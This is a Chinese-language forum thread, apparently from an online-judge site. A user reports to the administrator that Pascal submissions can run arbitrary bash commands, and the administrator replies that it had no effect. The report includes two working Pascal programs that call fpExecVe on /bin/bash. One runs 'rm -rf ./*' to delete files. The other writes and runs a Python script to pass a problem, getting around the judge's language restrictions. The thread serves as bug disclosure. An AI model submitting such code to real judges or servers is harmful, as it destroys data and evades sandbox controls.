@root OJ 有 bug,可以随便执行 bash 命令,很危险

nr0728 2024-03-15 17:25:19 32

没有屏蔽 pascal 的执行命令

Program hack_OJ;

Uses BaseUnix,strings;

Const Arg0:PChar='/bin/bash'; Arg1:Pchar='-c'; Arg2:Pchar='rm -rf ./*'; Var PP:PPchar;

begin GetMem(PP,3*SizeOf(Pchar)); PP[0]:=Arg0; PP[1]:=Arg1; PP[2]:=Arg2; PP[3]:=Nil; fpExecVe('/bin/bash',pp,envp); end.

比如说上面这个程序会在 bash 运行 rm -rf ./*

当然,盲猜 oj 有 sandbox(nix),应该不会通过 rm -rf /*

{{ vote && vote.total.up }}

共 6 条回复

root 站长

@nr0728 没影响,不过谢谢你

root 站长

我看到了,我问问开发组有啥影响没

nr0728

@nr0728 指运行 echo 'print(sum(map(int,input().split())))' > 1.py && python3 1.py

nr0728

moreover,这个能 AC a+b

Program hack_OJ;

Uses BaseUnix,strings;

Const Arg0:PChar='/bin/bash';
      Arg1:Pchar='-c';
      Arg2:Pchar='echo ''print(sum(map(int,input().split())))'' > 1.py && python3 1.py';
Var PP:PPchar;

begin
    GetMem(PP,3*SizeOf(Pchar));
    PP[0]:=Arg0;
    PP[1]:=Arg1;
    PP[2]:=Arg2;
    PP[3]:=Nil;
    fpExecVe('/bin/bash',pp,envp);
end.
nr0728
nr0728

sub: here